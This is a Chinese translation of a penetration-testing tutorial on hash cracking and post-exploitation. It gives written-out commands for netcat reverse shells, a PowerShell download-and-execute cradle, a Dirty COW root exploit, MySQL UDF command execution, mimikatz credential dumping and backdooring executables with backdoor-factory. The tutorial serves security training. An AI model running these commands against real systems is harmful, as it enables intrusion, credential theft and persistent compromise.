哈希是由单向数学算法生成的,这意味着它们无法被反转。打破的唯一方法是暴力破解它们。在这个教程中,您将学习如何识别一些不同类型的哈希。

如何做…

以下是哈希的类型。

MD5

这是最常见的哈希类型。MD 代表消息摘要算法。可以使用以下观察来识别这些哈希:

  • 它们是十六进制的

  • 它们的长度为 32 个字符,128 位,例如21232f297a57a5a743894a0e4a801fc3

MySQL 小于 v4.1

我们可能在从 SQL 注入中提取数据时遇到这些哈希。可以使用以下观察来识别这些哈希:

  • 它们也是十六进制的

  • 它们的长度为 16 个字符,64 位,例如606727496645bcba

MD5(WordPress)

这在通过 WordPress 制作的网站上使用。可以使用以下观察来识别这些哈希:

  • 它们以$P$开头

  • 它们包含字母数字字符

  • 它们的长度为 34 个字符,64 位,例如$P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR

MySQL 5

这在 MySQL 的新版本中用于存储凭据。可以使用以下观察来识别这些哈希:

  • 它们全是大写

  • 它们总是以星号开头

  • 它们的长度为 41 个字符,例如*4ACFE3202A5FF5CF467898FC58AAB1D615029441

Base64 编码

Base64 很容易识别。转换是通过将八个八位字节编码为四个字符来完成的。检查 Base64 的最简单方法如下:

  • 验证长度是否为 4 的倍数

  • 验证每个字符是否在 A-Z、a-z、0-9、+、/的集合中,除了末尾的填充,它是 0、1 或 2,=字符,例如YW55IGNhcm5hbCBwbGVhc3VyZS4=

还有更多…

这是一篇文章,了解更多关于不同类型的哈希:

www.101hacker.com/2010/12/hashes-and-seeds-know-basics.html

使用哈希标识符

在前面的教程中,您学会了如何识别一些常见的哈希类型。但是还有其他类型的哈希,本教程中,您将学习如何识别我们在渗透测试项目中发现的其他哈希。

如何做…

以下步骤演示了哈希标识符的使用:

  1. Kali 预装了一个名为哈希标识符的工具。要启动该工具,我们使用以下命令:
 hash-identifier

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们只需要在这里粘贴我们找到的哈希,它会显示给我们类型:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用 patator 破解

有时,我们可能有用户名,但我们想尝试暴力破解密码。Patator 是一个令人惊奇的工具,可以让我们暴力破解多种类型的登录,甚至 ZIP 密码。在本教程中,我们将看到如何使用 patator 执行暴力破解攻击。

如何做…

以下是使用 patator 的步骤:

  1. 要查看所有选项,我们使用以下命令:
 patator -h

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 让我们尝试暴力破解 FTP 登录:
 patator ftp_login

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们可以设置hostuser文件和password文件并运行模块:
 patator ftp_login host=192.168.36.16 user=ftp password=ftp

以下截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们可以看到已经获得了访问权限并且模块已停止。

在线破解哈希值

通常在渗透测试中遇到哈希值时,最好在线检查哈希值:它是否已经被破解。在这个教程中,您将了解一些提供哈希值破解服务的很酷的网站。

如何做…

让我们来看看识别不同类型的哈希值。

Hashkiller

以下步骤演示了 Hashkiller 的使用:

  1. Hashkiller 是一个很棒的服务,我们可以提交我们的哈希值,如果它在过去已经被破解,它将向我们显示明文:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 这个过程很简单;我们只需在网站上选择解密器/破解器的选项,然后点击我们想要破解的哈希类型:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在打开的页面上,我们粘贴我们的哈希值,填写验证码,然后点击提交:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 如果哈希值存在,它将向我们显示明文;否则,我们将看到一条消息,显示未找到任何哈希值!:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Crackstation

Crackstation 是一个免费的服务,支持 MD2、MD5、NTLM 和 SHA1 破解。它使用自己的单词列表和查找表来有效地从数据库中执行哈希的明文搜索:

  1. 我们访问网站crackstation.net/

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们粘贴要破解的哈希值并填写验证码:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 如果找到哈希值,我们将看到明文;否则,我们会看到一个消息,说哈希值未找到:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. Crackstation 还提供其密码列表和查找表的下载链接,如果我们想要使用它来离线使用 hashcat 等工具破解密码,crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

OnlineHashCrack

这是一个付费服务,也是我最喜欢的之一。它支持 OSX、MD4、MD5、NTLM、WPA(2),以及对 Word、Excel、PPT 受保护文档的暴力破解。它提供八个字符的免费密码,之后收取一小费来显示成功破解的密码:

  1. 我们访问网站onlinehashcrack.com/

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在这里,我们可以提交我们的哈希值或.apt文件进行破解,并填写我们想要接收通知的电子邮件地址:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在我们的电子邮件中收到的唯一链接上,我们可以看到所有已破解或未在网站上找到的哈希值的状态:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

玩弄约翰·里帕

网站和在线服务可能并不总是可用,也有可能这些网站可能没有我们找到的哈希值的明文。在这种情况下,我们可以使用不同的离线工具来破解哈希值。

假设我们现在有哈希值,并且已经确定了它的类型。在这个教程中,我们将看到如何使用约翰·里帕破解哈希值。约翰速度快,支持各种破解模式。它还具有自动检测哈希类型的能力。

如何做…

要了解约翰·里帕,按照给定的步骤进行:

  1. 我们可以使用帮助(-h)命令查看完整的功能:
 john -h

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要破解密码,我们使用以下命令:
 john --format=raw-md5
        --wordlist=/usr/share/wordlists/rockyou.txt /root/demo_hash.txt
  1. 我们将看到密码已成功破解!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有更多…

有关更多信息,您可以参考以下文章:

约翰尼·布拉沃!

Johnny 是 John 的 GUI 客户端。由于它添加了一个 UI,因此使用起来更加容易。

如何做…

要了解 Johnny,请按照给定的步骤:

  1. 在我们之前的教程中,您已经学会了如何使用 John。我们将使用以下命令启动 Johnny:
 johnny

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们通过单击“打开密码文件”选项来加载我们的密码文件。我们的文件已加载:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们转到选项,并选择我们要执行的攻击类型:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们选择哈希的格式:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 完成后,我们点击开始攻击,当密码破解时,我们应该看到我们的密码。

使用 cewl

cewl是一个基于 Ruby 的爬虫,它爬取 URL 并搜索可用于密码攻击的单词。在这个教程中,我们将看看如何利用它。

如何做…

以下是使用cewl的步骤:

  1. 要查看cewl的所有选项,我们使用这个命令:
 cewl -h

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要爬取一个网站,我们使用这个命令:
 cewl -d 2 http://192.168.36.16/forum/

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们将看到一个有趣的关键字列表,可以用来制作我们自己的字典密码列表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用 crunch 生成单词列表

Crunch 是一个单词列表生成器。它使用排列和组合来生成所提供字符集的所有可能组合。

如何做…

要了解 Crunch,请按照给定的步骤:

  1. Crunch 已经预装在 Kali 中,我们可以使用以下命令启动它:
 crunch -h

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 正如我们所看到的,很容易使用abcdef生成一个最小为两个字符,最大为两个字符的密码列表,我们可以使用以下命令:
 crunch 2 2 abcdef

我们可以看到已经生成了单词列表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要将其保存到文件中,我们可以使用-o开关。Crunch 还有一个内置列表,其中包含预定义的字符集。它可以在/usr/share/crunch/charset.lst中找到。

  2. 要使用字符集,我们使用-f开关:

 crunch 2 2 -f /usr/share/crunch/charset.lst lalpha

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 这将生成一个包含小写字母的最小长度和最大长度为2的列表。Crunch 还有一个-t开关,可以用来创建特定模式的单词列表:
  • @: 这将插入小写字符

  • ,: 这将插入大写字符

  • %: 这将插入数字

  • ^: 这将插入符号

  1. 开关-b可以用来指定要创建的文件的大小:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 让我们尝试创建一个具有特定模式且大小为 1 MB 的列表:
 crunch 10 10 -t @@packt,,% -b 1mib -o START
  1. 完成后,我们将看到一个包含相同文件夹中模式的文本文件列表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. -z标志可用于创建单词列表并将其保存在压缩文件中。压缩是在进行中完成的:
 crunch 10 10 -t @@packt,,% -b 1mib -o START -z gzip

以下屏幕截图显示了前面命令的输出:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第八章:现在有 Shell 了,怎么办?

在本章中,我们将涵盖以下教程:

  • 生成 TTY shell

  • 寻找弱点

  • 水平升级

  • 垂直升级

  • 节点跳跃:转向

  • Windows 上的特权升级

  • PowerSploit

  • 使用 mimikatz 提取明文密码

  • 从机器中转储其他保存的密码

  • 转向

  • 为了持久性而给可执行文件加后门

介绍

这是特权升级,正如维基百科所述,特权升级是利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽来获取对通常受到应用程序或用户保护的资源的提升访问权限的行为。这导致对资源的未经授权访问。可能存在两种特权升级:

  • 水平:这种情况发生在我们能够执行原本不是为当前用户访问而设计的命令或函数的条件下

  • 垂直:这种利用发生在我们能够将我们的特权提升到更高的用户级别时,例如,在系统上获取 root 权限

在本章中,您将学习在 Linux 和 Windows 系统上提升特权的不同方法,以及访问内部网络的方法。

生成 TTY Shell

我们已经涵盖了不同类型的特权升级。现在让我们看一些关于如何在这个系统上获取 TTY shell 的例子。TTY 展示了一个简单的文本输出环境,允许我们输入命令并获取输出。

如何做…

  1. 让我们看一个例子,我们有一个运行 zenPHOTO 的 Web 应用程序:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. zenPHOTO 已经有一个公开的漏洞正在运行,我们通过有限的 shell 获得了对它的访问:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 由于这是一个有限的 shell,我们尝试逃离它,并通过首先在系统上上传netcat,然后使用netcat来获取反向连接。
 wget x.x.x.x/netcat –o /tmp/netcat

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们可以使用以下命令进行反向连接:
 netcat <our IP > -e /bin/bash <port number>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 看着我们的终端窗口,在那里我们设置了监听器,我们会看到一个成功的连接:
 nc –lnvp <port number>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

让我们获取一个更稳定的 TTY shell;假设这是一个 Linux 系统,我们已经在上面安装了 Python,并且我们可以使用这个命令获取一个 shell:

python -c 'import pty; pty.spawn("/bin/sh")'

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们现在有了一个更好的执行命令的方式。有时,我们可能会发现自己处于这样一种情况:我们通过 ssh 或其他方法获得的 shell 是一个有限的 shell。

一个非常著名的有限 shell 是lshell,它只允许我们运行一些命令,比如echolshelp等。逃离lshell很容易,因为我们只需要输入这个:

echo os.system('/bin/bash')

然后我们就可以访问一个没有更多限制的命令 shell。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有更多…

还有其他各种方式可以使用 Ruby、Perl 等生成 TTY shell。这可以在netsec.ws/?p=337上看到。

寻找弱点

现在我们有了一个稳定的 shell,我们需要寻找漏洞、错误配置或任何能帮助我们在系统上提升特权的东西。在这个教程中,我们将看一些提升特权以获取系统根目录的方法。

如何做…

我建议大家在服务器上有了 shell 之后,尽可能多地进行枚举:我们知道的越多,我们就有更好的机会在系统上提升特权。

g0tmi1k所述,提升特权的关键步骤在系统上是:

  • 收集:枚举,更多的枚举,还有更多的枚举。

  • 过程:整理数据,分析和排序。

  • 搜索:知道要搜索什么以及在哪里找到利用代码。

  • 适应:自定义漏洞以适应。并非每个漏洞都可以直接在每个系统上使用。

  • 尝试:准备好(很多)试错。

我们将看一些在互联网上常见的脚本,这些脚本通过格式化的方式打印出我们需要的任何信息,从而使我们的工作更加轻松。

第一个是LinEnum,这是一个由 reboot 用户创建的 shell 脚本。它执行了 65 多项检查,并显示了我们需要开始的一切:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看源代码,我们将看到它将显示内核版本、用户信息、可写目录等信息:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以使用的下一个脚本是LinuxPrivChecker。它是用 Python 制作的。这个脚本还建议可以在系统上使用的特权升级漏洞:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这些脚本很容易在 Google 上找到;但是,关于这个或者我们可以使用手动命令自己完成工作的更多信息可以在netsec.ws/?p=309和 G0tmilk 的博客blog.g0tmi1k.com/找到。

另一个很棒的脚本是由Arr0waytwitter.com/Arr0way)创建的。他在他的博客highon.coffee/blog/linux-local-enumeration-script上提供了源代码。我们可以阅读博客上提供的源代码,以检查脚本的所有功能:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

水平升级

您已经学会了如何生成 TTY shell 并执行枚举。在这个教程中,我们将看一些可以进行水平升级以获得更多系统特权的方法。

如何做…

在这里,我们有一个情况,我们已经以www-data的身份获得了一个反向 shell。

运行sudo –-list,我们发现用户被允许以另一个用户waldo的身份打开配置文件:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因此,我们在 VI 编辑器中打开配置文件,并在 VI 的命令行中输入以下内容以在 VI 中获取 shell:

!bash

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们有一个以用户waldo身份的 shell。所以,我们的升级是成功的。

在某些情况下,我们还可能在ssh目录中找到授权密钥或保存的密码,这有助于我们进行水平升级。

垂直升级

在这个教程中,我们将看一些例子,通过这些例子我们可以访问受损系统上的 root 账户。成功升级的关键是尽可能多地收集有关系统的信息。

如何做…

对任何盒子进行 root 的第一步是检查是否有任何公开可用的本地 root 漏洞:

  1. 我们可以使用诸如Linux Exploit Suggester之类的脚本。这是一个用 Perl 构建的脚本,我们可以指定内核版本,它将显示可能公开可用的漏洞利用,我们可以使用它来获得 root 权限。该脚本可以从github.com/PenturaLabs/Linux_Exploit_Suggester下载:
 git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们使用cd命令进入目录:
 cd Linux_Exploit_Suggester/
  1. 它很容易使用,我们可以通过命令找到内核版本:
 uname –a
  1. 我们还可以使用我们在上一个教程中看到的枚举脚本。一旦我们有了版本,我们可以使用以下命令将其与我们的脚本一起使用:
 perl Linux_Exploit_Suggester.pl -k 2.6.18

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

让我们尝试使用其中一个漏洞利用;我们将使用最新的一个,即dirty cow

这是 RedHat 解释的 dirty cow 的定义:在 Linux 内核的内存子系统处理写时复制COW)破坏私有只读内存映射的方式中发现了竞争条件。非特权本地用户可以利用这个缺陷来获得对否则只读内存映射的写访问权限,从而增加他们在系统上的权限。

可以在 exploit DB 上看到这个漏洞代码www.exploit-db.com/exploits/40839/。这个特定的漏洞利用程序向etc/passwd添加了一个具有根权限的新用户:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们下载漏洞并将其保存在服务器的/tmp目录中。它是用 C 语言编写的,所以我们可以使用服务器上的gcc编译它,使用以下命令:

gcc –pthread dirty.c –o <outputname> -lcrypt

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们使用以下命令chmod(更改文件权限)文件:

chmod +x dirty

然后我们使用./dirty运行它。我们将失去我们的反向连接访问权限,但如果一切顺利,我们现在可以使用用户名firefart和密码firefart作为根用户ssh到机器上。

我们使用以下命令尝试ssh

ssh –l firefart <IP Address>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在,dirty cow 有点不稳定,但我们可以使用这个解决方法来使其稳定:

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

让我们执行命令 ID;我们将看到我们现在是系统的根用户!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在让我们看另一种实现根权限的方法。在这种情况下,我们将假设我们在系统上有一个 shell,并且我们运行的枚举脚本向我们显示 MySQL 进程正在作为系统根用户运行。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

MySQL 有一个名为用户定义函数UDF)的功能;让我们看一种通过 UDF 注入获得根权限的方法。现在我们有两个选择:要么在受损系统上下载代码并进行编译,要么从github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.so下载预编译代码。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦它被下载,我们就登录到数据库。通常,人们会将默认的 root 密码留空;或者,我们可以从运行在服务器上的 web 应用程序的配置文件中获取一个。

现在,我们创建一个表,并使用这些命令将我们的文件插入到表中:

create table <table name> (hello blob);
insert into <table name> values (load_file('/path/to/mysql.so'));
select * from <table name> into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

对于 Windows 系统,命令是一样的;只是到 MySQL 的路径会有所不同。

接下来,我们创建一个sys_eval函数,它将允许我们以根用户身份运行系统命令。对于 Windows,我们运行这个命令:

CREATE FUNCTION sys_eval RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';

对于 Linux,我们运行这个命令:

CREATE FUNCTION sys_eval RETURNS integer SONAME 'mysqludf.so;

现在我们可以使用sys_eval来做任何我们想做的事情;例如,要进行反向连接,我们可以使用这个:

select sys_eval('nc –v <our IP our Port> -e /bin/bash');

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这将给我们一个作为系统根用户的反向 shell:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有其他方法,比如将我们当前的用户添加到 sudoers 文件中。这完全取决于我们的想象力。

节点跳跃 - 枢纽

一旦我们在网络上的一个系统中,我们现在需要寻找网络上的其他机器。信息收集与我们在前几章中学到的内容是一样的。我们可以开始安装和使用 nmap 来查找其他主机以及正在运行的应用程序或服务。在这个示例中,您将学习一些获取网络中端口访问权限的技巧。

如何做…

假设我们已经可以访问一台机器的 shell。我们运行ipconfig并发现该机器内部连接到其他两个网络:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们扫描网络并发现一些机器有一些端口是开放的。您学习了一种很酷的方法,可以将网络枢纽化,以便我们可以访问我们机器上其他网络后面运行的应用程序。

我们将使用以下命令进行ssh端口转发:

ssh –L <our port> <remote ip> <remote port> username@IP

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

完成后,我们打开浏览器并转到我们使用的端口号:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将访问远程主机上运行的应用程序。

还有更多…

还有其他端口转发的方法;例如,使用 proxychains 将帮助您动态转发运行在不同网络子网内的服务器上的端口。一些技术可以在highon.coffee/blog/ssh-meterpreter-pivoting-techniques/找到。

Windows 特权升级

在这个教程中,您将学习在 Windows Server 上获取管理员帐户的几种方法。有多种方法可以在 Windows 系统上获得管理员权限。让我们看看可以完成这个任务的几种方法。

如何做…

一旦我们在系统上有了 meterpreter,Metasploit 有一个内置模块,可以尝试三种不同的方法来获得管理员访问权限。首先,我们将看到 Metasploit 的臭名昭著的getsystem。要查看帮助,我们输入:

getsystem –h

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

为了尝试获取管理员权限,我们输入以下命令:

getsystem

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以看到我们现在是NT AUTHORITY\SYSTEM。有时,这种技术可能不起作用,所以我们尝试另一种方法来在机器上获取系统。我们将看一些重新配置 Windows 服务的方法。

我们将使用sc(也称为服务配置)来配置 Windows 服务。

让我们看看upnphost服务:

sc qc upnphost

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

首先,我们将我们的netcat二进制文件上传到系统上。一旦完成,我们可以使用我们的二进制文件更改正在运行的服务的二进制路径:

sc config upnphost binPath= "<path to netcat>\nc.exe -nv <our IP> <our port> -e C:\WINDOWS\System32\cmd.exe"

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

sc config upnphost obj= ".\LocalSystem" password= ""

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们确认更改是否已经生效:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们需要重新启动服务,一旦完成,我们应该有一个带有管理员权限的后向连接:

net start upnphost

我们可以使用net user add命令来添加一个新的管理员用户到系统中,而不是使用netcat等其他方法。

现在让我们尝试另一种方法:Metasploit 有许多不同的用于 Windows 利用的本地漏洞。要查看它们,我们输入msfconsole使用exploit/windows/local <tab>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将使用kitrap0d进行利用。使用exploit/windows/local/ms10_015_kitrap0d。我们设置我们的 meterpreter 会话和有效载荷:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后我们运行利用程序:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们有管理员权限。让我们再使用一个利用程序:臭名昭著的bypassuac

use exploit/windows/local/bypassuac

我们现在设置我们在系统上拥有的当前 meterpreter 会话:

 set session 1

我们运行并看到第二个具有管理员权限的 meterpreter 已经为我们打开:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用 PowerSploit

随着 PowerShell 的推出,也出现了新的利用 Windows 机器的方法。正如维基百科所描述的,PowerShell(包括 Windows PowerShell 和 PowerShell Core)是微软的任务自动化和配置管理框架,由基于.NET Framework 的命令行 shell 和相关脚本语言组成。

在这个教程中,我们将使用 PowerSploit,这是一个基于 PowerShell 的后渗透框架,用于在系统上获得 meterpreter 访问权限。

如何做…

以下是使用 PowerSploit 的步骤:

  1. 现在假设我们有一个基于 Windows 的环境,在这个环境中我们已经成功获得了 shell 访问权限。我们在系统上没有管理员权限。

  2. 让我们看一种很酷的方法,使用 PowerSploit 在不实际下载文件到系统上的情况下获取 meterpreter。它在 Kali 菜单中内置。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 这里的技巧是下载一个 PowerShell 脚本并将其加载到内存中,因为它从未保存在硬盘上,所以杀毒软件不会检测到它。

  2. 我们首先检查 PowerShell 是否已安装,运行powershell

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们将使用这个命令。使用单引号很重要;否则,我们可能会得到一个缺少括号的错误:
 powershell IEX (New-Object Net.WebClient).DownloadString
      ('https://raw.githubusercontent.com/PowerShellMafia/
      PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们不应该看到任何错误。现在我们的脚本已经准备好了,我们调用模块并使用以下命令查看帮助:
 Get-Help Invoke-Shellcode

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们运行该模块:
 powershell Invoke-Shellcode -Payload
      windows/meterpreter/reverse_https -Lhost 192.168.110.33
      -Lport 4444 –Force

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 在运行上述脚本之前,我们启动我们的处理程序。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们现在应该有一个 meterpreter。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 现在我们有了 meterpreter,我们可以使用之前提到的任何方法来获取系统权限。

还有更多…

PowerSploit 有很多可以用于进一步利用的 PowerShell 模块,比如获取权限、绕过杀毒软件等等。

我们可以在这里阅读更多信息:

使用 mimikatz 提取纯文本密码

现在我们有了 meterpreter,我们可以使用它从内存中转储密码。Mimikatz 是一个很好的工具。它尝试从内存中转储密码。

正如 mimikatz 的创造者所定义的:

“它是用 C 语言制作的,并被认为是一些与 Windows 安全性的实验”现在已经广为人知,可以从内存中提取纯文本密码、哈希值和 PIN 码以及 kerberos 票证。Mimikatz 还可以执行传递哈希、传递票证或构建 Golden 票证。

如何做…

以下是使用 mimikatz 的步骤:

  1. 一旦我们有了 meterpreter 和系统权限,我们使用这个命令加载 mimikatz:
 load mimikatz

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 要查看所有选项,我们输入这个命令:
 help mimikatz
  1. 现在为了从内存中检索密码,我们使用 Metasploit 的内置命令:
 msv

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 我们可以看到 NTLM 哈希值显示在屏幕上。要查看 Kerberos 凭据,我们输入这个:
 kerberos

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如果有任何凭据,它们将在这里显示。

从机器中转储其他保存的密码

您已经学会了如何从内存中转储和保存纯文本密码。然而,有时并非所有密码都被转储。不用担心;Metasploit 有其他后期利用模块,我们可以使用这些模块来收集在我们入侵的服务器上运行的不同应用程序和服务的保存密码。

如何做…

首先,让我们检查一下机器上正在运行的应用程序。我们使用这个命令:

use post/windows/gather/enum_applications

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们看到了选项;现在我们只需要我们的会话,使用以下命令:

set session 1

运行它,我们将看到系统上安装的应用程序列表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

既然我们知道了正在运行的应用程序,让我们试着收集更多信息。

我们将使用post/windows/gather/enum_chrome

它将收集所有的浏览历史、保存的密码、书签等。再次,我们设置我们的会话并运行这个:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将看到所有收集到的数据都已保存在一个 txt 文件中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们将尝试收集安装在机器上的 FileZilla 服务器(可用于传输文件的 FTP 服务器)的存储配置和凭据。我们将使用该模块:

use post/windows.gather/credentials/filezilla_server

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们设置会话并运行它,然后我们应该看到保存的凭据:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

让我们使用另一个后渗透模块来转储数据库密码。我们将使用这个:

use exploit/windows/gather/credentials/mssql_local_hashdump

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们设置会话并使用run -j运行此命令。我们将在屏幕上看到凭据:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

进入网络枢纽

一旦我们完全控制了系统中的一台计算机,我们的下一步应该是进入网络并尝试利用和访问尽可能多的机器。在这个示例中,您将学习使用 Metasploit 轻松实现这一点的方法。

如何做…

Metasploit 有一个内置的 meterpreter 脚本,允许我们添加路由并使我们能够使用当前机器攻击网络中的其他机器。这个概念非常简单;我们所要做的就是执行这个命令:

run autoroute –s <IP subnet>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

完成后,我们可以简单地利用与我们在之前示例中介绍的相同方法来攻击机器。

持久性的后门

成功利用的一个重要部分是能够保持对受损机器的访问。在这个示例中,您将了解一个称为后门工厂的神奇工具。后门工厂的主要目标是使用我们的 shell 代码修补 Windows/Linux 二进制文件,以便可执行文件正常运行,并在每次执行时执行我们的 shell 代码。

如何做…

Backdoor Factory 已经安装在 Kali 中。可以使用backdoor-factory来运行。要查看此工具的所有功能,我们将使用帮助命令:

backdoor-factory –help

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用这个工具并不太难;但是,建议在部署到目标系统之前对二进制文件进行测试。

要查看要对其进行后门处理的特定二进制文件的可用选项,我们使用以下命令:

backdoor-factory –f <path to binary> -s show

然后我们将使用iat_reverse_tcp_stager_threaded

backdoor-factory –f <path to binary> -s iat_reverse_tcp_stager_threaded –H <our IP> -P <Port>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接下来,我们选择要用于注入有效载荷的洞穴:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们的二进制文件已经创建并准备部署。

现在我们需要做的就是运行一个处理程序,它将接受来自我们有效载荷的反向连接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在当在受害者机器上执行.exe时,我们将连接到我们的 meterpreter:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值